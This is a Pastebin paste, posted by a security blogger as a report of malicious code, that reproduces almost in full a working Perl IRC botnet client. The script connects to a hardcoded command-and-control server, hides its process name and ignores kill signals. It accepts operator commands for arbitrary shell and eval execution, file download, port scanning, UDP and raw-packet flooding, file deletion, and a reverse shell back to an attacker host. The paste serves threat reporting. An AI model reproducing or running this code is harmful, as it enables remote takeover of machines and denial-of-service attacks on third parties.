Neonprimetime

Malicious Code: hxxp://www.finecloves.com/apache/new.txt

Dec 18th, 2014
273
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Malicious Code
  2. Reported by neonprimetime security
  3. http://neonprimetime.blogspot.com
  4.  
  5. ******
  6.  
  7. #!/usr/bin/perl
  8. my @mast3rs = ("TNT","STMIK");
  9.  
  10. my @hostauth = ("SEKIP");
  11. my @admchan=("#bot");
  12.  
  13. my @server = ("192.99.47.153");
  14. $servidor= $server[rand scalar @server] unless $servidor;
  15.  
  16.  
  17. my $xeqt = "!";
  18. my $homedir = "/tmp";
  19. my $shellaccess = 1;
  20. my $xstats = 1;
  21. my $pacotes = 1;
  22. my $linas_max = 5;
  23. my $sleep = 6;
  24. my $portime = 4;
  25.  
  26. my @fakeps = ("-bash");
  27.  
  28. my @nickname = ("SeKiP");
  29.  
  30. my @xident = ("bitchz");
  31. my @xname = (`uname -a`);
  32.  
  33. #################
  34. # Random Ports
  35. #################
  36. my @rports = ("80");
  37.  
  38. my @Mrx = ("\001mIRC32 v5.91 K.Mardam-Bey\001","\001mIRC v6.2 Khaled Mardam-Bey\001",
  39.    "\001mIRC v6.03 Khaled Mardam-Bey\001","\001mIRC v6.14 Khaled Mardam-Bey\001",
  40.    "\001mIRC v6.15 Khaled Mardam-Bey\001","\001mIRC v6.16 Khaled Mardam-Bey\001",
  41.    "\001mIRC v6.17 Khaled Mardam-Bey\001","\001mIRC v6.21 Khaled Mardam-Bey\001",
  42.    "\001Snak for Macintosh 4.9.8 English\001",
  43.    "\001DvC v0.1 PHP-5.1.1 based on Net_SmartIRC\001",
  44.    "\001PIRCH98:WIN 95/98/WIN NT:1.0 (build 1.0.1.1190)\001",
  45.    "\001xchat 2.6.2 Linux 2.6.18.5 [i686/2.67GHz]\001",
  46.    "\001xchat:2.4.3:Linux 2.6.17-1.2142_FC4 [i686/2,00GHz]\001",
  47.    "\001xchat:2.4.3:Linux 2.6.17-1.2142_FC4 [i686/1.70GHz]\001",
  48.    "\001XChat-GNOME IRC Chat 0.16 Linux 2.6.20-8-generic [i686]\001",
  49.    "\001ircN 7.27 + 7.0 - -\001","\001..(argon/1g) :bitchx-1.0c17\001",
  50.    "\001ircN 8.00 - he tries to tell me what I put inside of me -\001",
  51.    "\001FreeBSD!4.11-STABLE bitchx-1.0c18 - prevail[0123] :down with people\001",
  52.    "\001BitchX-1.0c19+ by panasync - Linux 2.4.31 : Keep it to yourself!\001",
  53.    "\001BitchX-1.0c19+ by panasync - Linux 2.4.33.3 : Keep it to yourself!\001",
  54.    "\001BitchX-1.1-final+ by panasync - Linux 2.6.18.1 : Keep it to yourself!\001",
  55.    "\001BitchX-1.0c19 by panasync - freebsd 4.10-STABLE : Keep it to yourself!\001",
  56.    "\001BitchX-1.1-final+ by panasync - FreeBSD 4.5-STABLE : Keep it to yourself!\001",
  57.    "\001BitchX-1.1-final+ by panasync - FreeBSD 6.0-RELEASE : Keep it to yourself!\001",
  58.    "\001BitchX-1.1-final+ by panasync - FreeBSD 5.3-RELEASE : Keep it to yourself!\001",
  59.    "\001bitchx-1.0c18 :tunnelvision/1.2\001","\001PnP 4.22 - http://www.pairc.com/\001",
  60.    "\001BitchX-1.0c17/FreeBSD 4.10-RELEASE:(c)rackrock/bX [3.0.1�?9] : Keep it to yourself!\001",
  61.    "\001P&P 4.22.2 (in development) + X Z P Bots, Sound, NickServ, ChanServ, Extras\001",
  62.    "\001HydraIRC v0.3.148 (18/Jan/2005) by Dominic Clifton aka Hydra - #HydraIRC on EFNet\001",
  63.    "\001irssi v0.8.10 - running on Linux i586\001","\001irssi v0.8.10 - running on FreeBSD i386\001",
  64.    "\001ircII 20050423+ScrollZ 1.9.5 (19.12.2004)+Cdcc v1.6mods v1.0 by acidflash - Almost there\001",
  65.    "\001ircII 20050423+ScrollZ 1.9.5 (19.12.2004)+Cdcc v1.8+OperMods v1.0 by acidflash - Almost there\001");
  66.  
  67. # Default quick scan ports
  68. my @portas=("21","22","23","25","53","80","110","113","143","3306","4000","5900","6667","6668","6669","7000","10000","12345","31337","65501");
  69.  
  70. # xeQt
  71.  
  72. #my $nick = "STMIK";
  73. my $nick = $nickname[rand scalar @nickname];
  74. my $realname = $xname[rand scalar @xname];
  75. my $ircname = $xident[rand scalar @xident];
  76. my $porta = $rports[rand scalar @rports];
  77. my $xproc = $fakeps[rand scalar @fakeps];
  78. my $Mrx = $Mrx[rand scalar @Mrx];
  79. my $version = 'PowerBots (C) GohacK';
  80.  
  81. $SIG{'INT'} = 'IGNORE';
  82. $SIG{'HUP'} = 'IGNORE';
  83. $SIG{'TERM'} = 'IGNORE';
  84. $SIG{'CHLD'} = 'IGNORE';
  85. $SIG{'PS'} = 'IGNORE';
  86.  
  87.  
  88.  
  89.  
  90.  
  91. use IO::Socket;
  92. use Socket;
  93. use IO::Select;
  94. chdir("$homedir");
  95. $servidor="$ARGV[0]" if $ARGV[0];
  96. $0="$xproc"."\0";
  97. my $pid=fork;
  98. exit if $pid;
  99. die "[x] -> Cannot fork into background: $!" unless defined($pid);
  100. my %irc_servers;
  101. my %DCC;
  102. my $dcc_sel = new IO::Select->new();
  103.  
  104. sub getnick {
  105.   return "$nickname[rand scalar @nickname]".int(rand(20000));
  106. }
  107.  
  108. sub getstore ($$)
  109. {
  110.   my $url = shift;
  111.   my $file = shift;
  112.  
  113.   $http_stream_out = 1;
  114.   open(GET_OUTFILE, "> $file");
  115.   %http_loop_check = ();
  116.   _get($url);
  117.   close GET_OUTFILE;
  118.   return $main::http_get_result;
  119. }
  120. sub _get
  121. {
  122.   my $url = shift;
  123.   my $proxy = "";
  124.   grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
  125.   if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {
  126.     my $host = $1;
  127.     my $port = $2 || 80;
  128.     my $path = $3;
  129.     $path = "/" unless defined($path);
  130.     return _trivial_http_get($host, $port, $path);
  131.   } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {
  132.     my $host = $1;
  133.     my $port = $2;
  134.     my $path = $url;
  135.     return _trivial_http_get($host, $port, $path);
  136.   } else {
  137.     return undef;
  138.   }
  139. }
  140. sub _trivial_http_get
  141. {
  142.   my($host, $port, $path) = @_;
  143.   my($AGENT, $VERSION, $p);
  144.   #print "HOST=$host, PORT=$port, PATH=$path\n";
  145.  
  146.   $AGENT = "get-minimal";
  147.   $VERSION = "20000118";
  148.  
  149.   $path =~ s/ /%20/g;
  150.  
  151.   require IO::Socket;
  152.   local($^W) = 0;
  153.   my $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto   => 'tcp', Timeout  => 60) || return;
  154.  
  155.   $sock->autoflush;
  156.   my $netloc = $host;
  157.   $netloc .= ":$port" if $port != 80;
  158.   my $request = "GET $path HTTP/1.0\015\012"
  159.               . "Host: $netloc\015\012"
  160.               . "User-Agent: $AGENT/$VERSION/u\015\012";
  161.   $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
  162.   $request .= "\015\012";
  163.   print $sock $request;
  164.   my $buf = "";
  165.   my $n;
  166.   my $b1 = "";
  167.   while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
  168.     if ($b1 eq "") {
  169.       $b1 = $buf;
  170.       $buf =~ s/.+?\015?\012\015?\012//s;
  171.     }
  172.     if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
  173.   }
  174.   return undef unless defined($n);
  175.   $main::http_get_result = 200;
  176.   if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
  177.     $main::http_get_result = $1;
  178.     # print "CODE=$main::http_get_result\n$b1\n";
  179.     if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/) {
  180.       my $url = $1;
  181.       return undef if $http_loop_check{$url}++;
  182.       return _get($url);
  183.     }
  184.     return undef unless $main::http_get_result =~ /^2/;
  185.   }
  186.   return $buf;
  187. }
  188. $sel_cliente = IO::Select->new();
  189. sub sendraw {
  190.   if ($#_ == '1') {
  191.     my $socket = $_[0];
  192.     print $socket "$_[1]\n";
  193.   } else {
  194.       print $IRC_cur_socket "$_[0]\n";
  195.   }
  196. }
  197. sub conectar {
  198.    my $meunick = $_[0];
  199.    my $servidor_con = $_[1];
  200.    my $porta_con = $_[2];
  201.    my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
  202.    if (defined($IRC_socket)) {
  203.      $IRC_cur_socket = $IRC_socket;
  204.      $IRC_socket->autoflush(1);
  205.      $sel_cliente->add($IRC_socket);
  206.      $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  207.      $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  208.      $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  209.      $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  210.      nick("$meunick");
  211.      sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  212.      sleep 2;
  213.    }
  214. }
  215. my $line_temp;
  216. while( 1 ) {
  217.    while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  218.    delete($irc_servers{''}) if (defined($irc_servers{''}));
  219.    &DCC::connections;
  220.    my @ready = $sel_cliente->can_read(0.6);
  221.    next unless(@ready);
  222.    foreach $fh (@ready) {
  223.      $IRC_cur_socket = $fh;
  224.      $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  225.      $nread = sysread($fh, $msg, 4096);
  226.      if ($nread == 0) {
  227.         $sel_cliente->remove($fh);
  228.         $fh->close;
  229.         delete($irc_servers{$fh});
  230.      }
  231.      @lines = split (/\n/, $msg);
  232.      for(my $c=0; $c<= $#lines; $c++) {
  233.        $line = $lines[$c];
  234.        $line=$line_temp.$line if ($line_temp);
  235.        $line_temp='';
  236.        $line =~ s/\r$//;
  237.        unless ($c == $#lines) {
  238.          parse("$line");
  239.        } else {
  240.            if ($#lines == 0) {
  241.              parse("$line");
  242.            } elsif ($lines[$c] =~ /\r$/) {
  243.                parse("$line");
  244.            } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  245.                parse("$line");
  246.            } else {
  247.                $line_temp = $line;
  248.            }
  249.        }
  250.       }
  251.    }
  252. }
  253.  
  254. sub parse {
  255.    my $servarg = shift;
  256.    if ($servarg =~ /^PING \:(.*)/) {
  257.      sendraw("PONG :$1");
  258.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  259.        my $pn=$1; my $hostnam3=$3; my $onde = $4; my $args = $5;
  260.        if ($args =~ /^\001VERSION\001$/) {
  261.          notice("$pn", "".$Mrx."");
  262.        }
  263.        elsif ($args =~ /^\001PING\s+(\d+)\001$/) {
  264.          notice("$pn", "\001PONG\001");
  265.        }
  266.        if (grep {$_ =~ /^\Q$hostnam3\E$/i } @hostauth) {
  267.        if (grep {$_ =~ /^\Q$pn\E$/i } @mast3rs) {
  268.          if ($onde eq "$meunick"){
  269.            shell("$pn", "$args");
  270.         }
  271.     if ($args =~ /^!(.*)/){
  272.        ircase("$pn","$chan","$1");
  273.     }
  274.         if ($args =~ /^(\Q$meunick\E|\Q$xeqt\E)\s+(.*)/ ) {
  275.             my $natrix = $1;
  276.             my $arg = $2;
  277.             if ($arg =~ /^\!(.*)/) {
  278.               ircase("$pn","$onde","$1");
  279.             } elsif ($arg =~ /^\@(.*)/) {
  280.                 $ondep = $onde;
  281.                 $ondep = $pn if $onde eq $meunick;
  282.                 bfunc("$ondep","$1");
  283.             } else {
  284.                 shell("$onde", "$arg");
  285.             }
  286.           }
  287.         }
  288.       }
  289.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  290.        if (lc($1) eq lc($meunick)) {
  291.          $meunick=$4;
  292.          $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  293.        }
  294.    } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  295.        $meunick = getnick();
  296.        nick("".$meunick."-");
  297.    } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  298.        $meunick = $2;
  299.        $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  300.        $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  301.        foreach my $canal (@admchan){
  302.          sendraw("JOIN $canal muietie");
  303.        }
  304.    }
  305. }
  306. sub bfunc {
  307.   my $printl = $_[0];
  308.   my $funcarg = $_[1];
  309.   if (my $pid = fork) {
  310.      waitpid($pid, 0);
  311.   } else {
  312.       if (fork)
  313.        {
  314.          exit;
  315.        }
  316.    else
  317.    {
  318.       # Quick scan
  319.            if ($funcarg =~ /^ps (.*)/) {
  320.              my $hostip="$1";
  321.         sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312Portscanning\003\002: $1 \002\00312Ports:\003\002 default");
  322.              my (@aberta, %porta_banner);
  323.              foreach my $porta (@portas)  {
  324.                 my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
  325.                 if ($scansock) {
  326.                    push (@aberta, $porta);
  327.                    $scansock->close;
  328.          sendraw($IRC_cur_socket, "PRIVMSG $printl :Found: $porta"."/Open");
  329.                 }
  330.              }
  331.              if (@aberta) {
  332.                sendraw($IRC_cur_socket, "PRIVMSG $printl :Port Scan Complete with target: $1 ");
  333.              } else {
  334.                  sendraw($IRC_cur_socket,"PRIVMSG $printl :\002[x]\0034 No open ports found on\002 $1");
  335.              }
  336.            }
  337.       # NMAP, lol
  338.            elsif ($funcarg =~ /^nmap\s+(.*)\s+(\d+)\s+(\d+)/)
  339.       {
  340.               my $hostname="$1";
  341.               my $portstart = "$2";
  342.                my $portend = "$3";
  343.                my (@abertas, %porta_banner);
  344.           sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312xMap Portscanning\003\002: $1 \002\00312Ports:\003\002 $2-$3");
  345.                foreach my $porta ($portstart..$portend)
  346.              {
  347.                my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
  348.                if ($scansock) {
  349.                  push (@abertas, $porta);
  350.                  $scansock->close;
  351.                  if ($xstats)
  352.        {
  353.                    sendraw($IRC_cur_socket, "PRIVMSG $printl :Found: $porta"."/Open");
  354.                  }
  355.                }
  356.              }
  357.              if (@abertas) {
  358.           sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312Scan Complate\003\002");
  359.              } else {
  360.                sendraw($IRC_cur_socket,"PRIVMSG $printl :\002\00312No ports found..\002");
  361.              }
  362.             }
  363.       # Remove
  364.       elsif ($funcarg =~ /^rm/)
  365.       {
  366.          system("cd /var/tmp ; rm -rf cb find god* wunder* udev* lib*");
  367.       sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Quickdel)\002\00314 Removed files and folders ");
  368.       }
  369.       # Version
  370.       elsif ($funcarg =~ /^version/)
  371.       {
  372.          sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Version)\002\00314 $version ");
  373.       }
  374.       # Download
  375.            elsif ($funcarg =~ /^down\s+(.*)\s+(.*)/)
  376.       {
  377.               getstore("$1", "$2");
  378.               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Download)\002\00314 Page: $2 (File: $1)") if ($xstats);
  379.            }
  380.        # Udp
  381.             elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
  382.               return unless $pacotes;
  383.               socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  384.               my $alvo=inet_aton("$1");
  385.               my $porta = "$2";
  386.               my $tempo = "$3";
  387.               my $pacote;
  388.               my $pacotese;
  389.               my $fim = time + $tempo;
  390.               my $pacota = 1;
  391.          sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(UDP DDoSing)\003 Attacking\002: $1 - \002Time\002: $tempo"."seconds");
  392.               while (($pacota == "1") && ($pacotes == "1")) {
  393.                 $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
  394.                 $pacote=$rand x $rand x $rand;
  395.                 $porta = int(rand 65000) +1 if ($porta == "0");
  396.                 send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
  397.               }
  398.               if ($xstats)
  399.               {
  400.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(UDP Complete):\003\002 $1 - \002Sendt\002: $pacotese"."kb - \002Time\002: $tempo"."seconds");
  401.              }
  402.             }
  403.  
  404.        # Backconnect
  405.             elsif ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
  406.               my $host = "$1";
  407.               my $porta = "$2";
  408.               my $proto = getprotobyname('tcp');
  409.               my $iaddr = inet_aton($host);
  410.               my $paddr = sockaddr_in($porta, $iaddr);
  411.               my $shell = "/bin/sh -i";
  412.               if ($^O eq "MSWin32") {
  413.                 $shell = "cmd.exe";
  414.               }
  415.               socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  416.               connect(SOCKET, $paddr) or die "connect: $!";
  417.          sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[x] ->\0034 Injection ...");
  418.               open(STDIN, ">&SOCKET");
  419.               open(STDOUT, ">&SOCKET");
  420.               open(STDERR, ">&SOCKET");
  421.               system("$shell");
  422.          system("cd /tmp/.mrx");
  423.               close(STDIN);
  424.               close(STDOUT);
  425.               close(STDERR);
  426.             }
  427.            exit;
  428.        }
  429.   }
  430. }
  431.  
  432. sub ircase {
  433.   my ($kem, $printl, $case) = @_;
  434.  
  435.    if ($case =~ /^join (.*)/) {
  436.      j("$1");
  437.    }
  438.    elsif ($case =~ /^part (.*)/) {
  439.       p("$1");
  440.    }
  441.    elsif ($case =~ /^rejoin\s+(.*)/) {
  442.       my $chan = $1;
  443.       if ($chan =~ /^(\d+) (.*)/) {
  444.         for (my $ca = 1; $ca <= $1; $ca++ ) {
  445.           p("$2");
  446.           j("$2");
  447.         }
  448.       } else {
  449.           p("$chan");
  450.           j("$chan");
  451.       }
  452.    }
  453.    elsif ($case =~ /^op/) {
  454.       op("$printl", "$kem") if $case eq "op";
  455.       my $oarg = substr($case, 3);
  456.       op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  457.    }
  458.    elsif ($case =~ /^deop/) {
  459.       deop("$printl", "$kem") if $case eq "deop";
  460.       my $oarg = substr($case, 5);
  461.       deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  462.    }
  463.    elsif ($case =~ /^voice/) {
  464.       voice("$printl", "$kem") if $case eq "voice";
  465.       $oarg = substr($case, 6);
  466.       voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  467.    }
  468.    elsif ($case =~ /^devoice/) {
  469.       devoice("$printl", "$kem") if $case eq "devoice";
  470.       $oarg = substr($case, 8);
  471.       devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  472.    }
  473.    elsif ($case =~ /^msg\s+(\S+) (.*)/) {
  474.       msg("$1", "$2");
  475.    }
  476.    elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  477.       for (my $cf = 1; $cf <= $1; $cf++) {
  478.         msg("$2", "$3");
  479.       }
  480.    }
  481.    elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  482.       for (my $cf = 1; $cf <= $1; $cf++) {
  483.         ctcp("$2", "$3");
  484.       }
  485.    }
  486.    elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
  487.       ctcp("$1", "$2");
  488.    }
  489.    elsif ($case =~ /^invite\s+(\S+) (.*)/) {
  490.       invite("$1", "$2");
  491.    }
  492.    elsif ($case =~ /^nick (.*)/) {
  493.       nick("$1");
  494.    }
  495.    elsif ($case =~ /^jump\s+(\S+)\s+(\S+)/) {
  496.        conectar("$2", "$1", 6667);
  497.    }
  498.    elsif ($case =~ /^send\s+(\S+)\s+(\S+)/) {
  499.       DCC::SEND("$1", "$2");
  500.    }
  501.    elsif ($case =~ /^raw (.*)/) {
  502.       sendraw("$1");
  503.    }
  504.    elsif ($case =~ /^eval (.*)/) {
  505.       eval "$1";
  506.    }
  507.    elsif ($case =~ /^rj\s+(\S+)\s+(\d+)/) {
  508.     sleep int(rand($2));
  509.     j("$1");
  510.    }
  511.    elsif ($case =~ /^rp\s+(\S+)\s+(\d+)/) {
  512.     sleep int(rand($2));
  513.     p("$1");
  514.    }
  515.    elsif ($case =~ /^quit/) {
  516.      quit();
  517.    }
  518.    elsif ($case =~ /^rand/) {
  519.     my $novonick = getnick();
  520.      nick("$novonick");
  521.    }
  522.    elsif ($case =~ /^stat (.*)/) {
  523.      if ($1 eq "on") {
  524.       $xstats = 1;
  525.       msg("$printl", "Satus enabled");
  526.      } elsif ($1 eq "off") {
  527.       $xstats = 0;
  528.       msg("$printl", "Status disable");
  529.      }
  530.    }
  531.    elsif ($case =~ /^bang (.*)/) {
  532.      if ($1 eq "on") {
  533.       $pacotes = 1;
  534.       msg("$printl", "[x] Bang mode enabled") if ($xstats == "1");
  535.      } elsif ($1 eq "off") {
  536.       $pacotes = 0;
  537.       msg("$printl", "[x] Bang mode disabled") if ($xstats == "1");
  538.      }
  539.    }
  540. }
  541. sub shell {
  542.   return unless $shellaccess;
  543.   my $printl=$_[0];
  544.   my $comando=$_[1];
  545.   if ($comando =~ /cd (.*)/) {
  546.     chdir("$1") || msg("$printl", "cd: $1".": No such file or directory");
  547.     return;
  548.   }
  549.   elsif ($pid = fork) {
  550.      waitpid($pid, 0);
  551.   } else {
  552.       if (fork) {
  553.          exit;
  554.        } else {
  555.            my @resp=`$comando 2>&1 3>&1`;
  556.            my $c=0;
  557.            foreach my $linha (@resp) {
  558.              $c++;
  559.              chop $linha;
  560.              sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  561.              if ($c >= "$linas_max") {
  562.                $c=0;
  563.                sleep $sleep;
  564.              }
  565.            }
  566.            exit;
  567.        }
  568.   }
  569. }
  570.  
  571. sub attacker {
  572.   my $iaddr = inet_aton($_[0]);
  573.   my $msg = 'B' x $_[1];
  574.   my $ftime = $_[2];
  575.   my $cp = 0;
  576.   my (%pacotes);
  577.   $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  578.  
  579.   socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  580.   socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  581.   socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  582.   socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  583.   return(undef) if $cp == 4;
  584.   my $itime = time;
  585.   my ($cur_time);
  586.   while ( 1 ) {
  587.      for (my $porta = 1; $porta <= 65535; $porta++) {
  588.        $cur_time = time - $itime;
  589.        last if $cur_time >= $ftime;
  590.        send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++ if ($pacotes == 1);
  591.        send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++ if ($pacotes == 1);
  592.        send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++ if ($pacotes == 1);
  593.        send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++ if ($pacotes == 1);
  594.        for (my $pc = 3; $pc <= 255;$pc++) {
  595.          next if $pc == 6;
  596.          $cur_time = time - $itime;
  597.          last if $cur_time >= $ftime;
  598.          socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  599.          send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++ if ($pacotes == 1);
  600.        }
  601.      }
  602.      last if $cur_time >= $ftime;
  603.   }
  604.   return($cur_time, %pacotes);
  605. }
  606.  
  607. sub action {
  608.    return unless $#_ == 1;
  609.    sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
  610. }
  611. sub ctcp {
  612.    return unless $#_ == 1;
  613.    sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  614. }
  615. sub msg {
  616.    return unless $#_ == 1;
  617.    sendraw("PRIVMSG $_[0] :$_[1]");
  618. }
  619. sub notice {
  620.    return unless $#_ == 1;
  621.    sendraw("NOTICE $_[0] :$_[1]");
  622. }
  623. sub op {
  624.    return unless $#_ == 1;
  625.    sendraw("MODE $_[0] +o $_[1]");
  626. }
  627. sub deop {
  628.    return unless $#_ == 1;
  629.    sendraw("MODE $_[0] -o $_[1]");
  630. }
  631. sub hop {
  632.     return unless $#_ == 1;
  633.    sendraw("MODE $_[0] +h $_[1]");
  634. }
  635. sub dehop {
  636.    return unless $#_ == 1;
  637.    sendraw("MODE $_[0] +h $_[1]");
  638. }
  639. sub voice {
  640.    return unless $#_ == 1;
  641.    sendraw("MODE $_[0] +v $_[1]");
  642. }
  643. sub devoice {
  644.    return unless $#_ == 1;
  645.    sendraw("MODE $_[0] -v $_[1]");
  646. }
  647. sub ban {
  648.    return unless $#_ == 1;
  649.    sendraw("MODE $_[0] +b $_[1]");
  650. }
  651. sub unban {
  652.    return unless $#_ == 1;
  653.    sendraw("MODE $_[0] -b $_[1]");
  654. }
  655. sub kick {
  656.    return unless $#_ == 1;
  657.    sendraw("KICK $_[0] $_[1] :$_[2]");
  658. }
  659. sub modo {
  660.    return unless $#_ == 0;
  661.    sendraw("MODE $_[0] $_[1]");
  662. }
  663. sub mode { modo(@_); }
  664. sub j { &join(@_); }
  665. sub join {
  666.    return unless $#_ == 0;
  667.    sendraw("JOIN $_[0]");
  668. }
  669. sub p { part(@_); }
  670. sub part {sendraw("PART $_[0]");}
  671. sub nick {
  672.   return unless $#_ == 0;
  673.   sendraw("NICK $_[0]");
  674. }
  675. sub invite {
  676.    return unless $#_ == 1;
  677.    sendraw("INVITE $_[1] $_[0]");
  678. }
  679. sub topico {
  680.    return unless $#_ == 1;
  681.    sendraw("TOPIC $_[0] $_[1]");
  682. }
  683. sub topic { topico(@_); }
  684. sub whois {
  685.   return unless $#_ == 0;
  686.   sendraw("WHOIS $_[0]");
  687. }
  688. sub who {
  689.   return unless $#_ == 0;
  690.   sendraw("WHO $_[0]");
  691. }
  692. sub names {
  693.   return unless $#_ == 0;
  694.   sendraw("NAMES $_[0]");
  695. }
  696. sub away {
  697.   sendraw("AWAY $_[0]");
  698. }
  699. sub back { away(); }
  700. sub quit {
  701.   sendraw("QUIT :$_[0]");
  702.   exit;
  703. }
  704.  
  705. package DCC;
  706. sub connections {
  707.    my @ready = $dcc_sel->can_read(1);
  708. #   return unless (@ready);
  709.    foreach my $fh (@ready) {
  710.      my $dcctipo = $DCC{$fh}{tipo};
  711.      my $arquivo = $DCC{$fh}{arquivo};
  712.      my $bytes = $DCC{$fh}{bytes};
  713.      my $cur_byte = $DCC{$fh}{curbyte};
  714.      my $nick = $DCC{$fh}{nick};
  715.      my $msg;
  716.      my $nread = sysread($fh, $msg, 10240);
  717.      if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
  718.         $DCC{$fh}{status} = "Cancelado";
  719.         $DCC{$fh}{ftime} = time;
  720.         $dcc_sel->remove($fh);
  721.         $fh->close;
  722.         next;
  723.      }
  724.      if ($dcctipo eq "get") {
  725.         $DCC{$fh}{curbyte} += length($msg);
  726.  
  727.         my $cur_byte = $DCC{$fh}{curbyte};
  728.  
  729.         open(FILE, ">> $arquivo");
  730.         print FILE "$msg" if ($cur_byte <= $bytes);
  731.         close(FILE);
  732.  
  733.         my $packbyte = pack("N", $cur_byte);
  734.         print $fh "$packbyte";
  735.  
  736.         if ($bytes == $cur_byte) {
  737.            $dcc_sel->remove($fh);
  738.            $fh->close;
  739.            $DCC{$fh}{status} = "Recebido";
  740.            $DCC{$fh}{ftime} = time;
  741.            next;
  742.         }
  743.      } elsif ($dcctipo eq "send") {
  744.           my $send = $fh->accept;
  745.           $send->autoflush(1);
  746.           $dcc_sel->add($send);
  747.           $dcc_sel->remove($fh);
  748.           $DCC{$send}{tipo} = 'sendcon';
  749.           $DCC{$send}{itime} = time;
  750.           $DCC{$send}{nick} = $nick;
  751.           $DCC{$send}{bytes} = $bytes;
  752.           $DCC{$send}{curbyte} = 0;
  753.           $DCC{$send}{arquivo} = $arquivo;
  754.           $DCC{$send}{ip} = $send->peerhost;
  755.           $DCC{$send}{porta} = $send->peerport;
  756.           $DCC{$send}{status} = "Enviando";
  757.           open(FILE, "< $arquivo");
  758.           my $fbytes;
  759.           read(FILE, $fbytes, 1024);
  760.           print $send "$fbytes";
  761.           close FILE;
  762. #          delete($DCC{$fh});
  763.      } elsif ($dcctipo eq 'sendcon') {
  764.           my $bytes_sended = unpack("N", $msg);
  765.           $DCC{$fh}{curbyte} = $bytes_sended;
  766.           if ($bytes_sended == $bytes) {
  767.              $fh->close;
  768.              $dcc_sel->remove($fh);
  769.              $DCC{$fh}{status} = "Enviado";
  770.              $DCC{$fh}{ftime} = time;
  771.              next;
  772.           }
  773.           open(SENDFILE, "< $arquivo");
  774.           seek(SENDFILE, $bytes_sended, 0);
  775.           my $send_bytes;
  776.           read(SENDFILE, $send_bytes, 1024);
  777.           print $fh "$send_bytes";
  778.           close(SENDFILE);
  779.      }
  780.    }
  781. }
  782.  
  783. sub SEND {
  784.   my ($nick, $arquivo) = @_;
  785.   unless (-r "$arquivo") {
  786.     return(0);
  787.   }
  788.   my $dccark = $arquivo;
  789.   $dccark =~ s/[.*\/](\S+)/$1/;
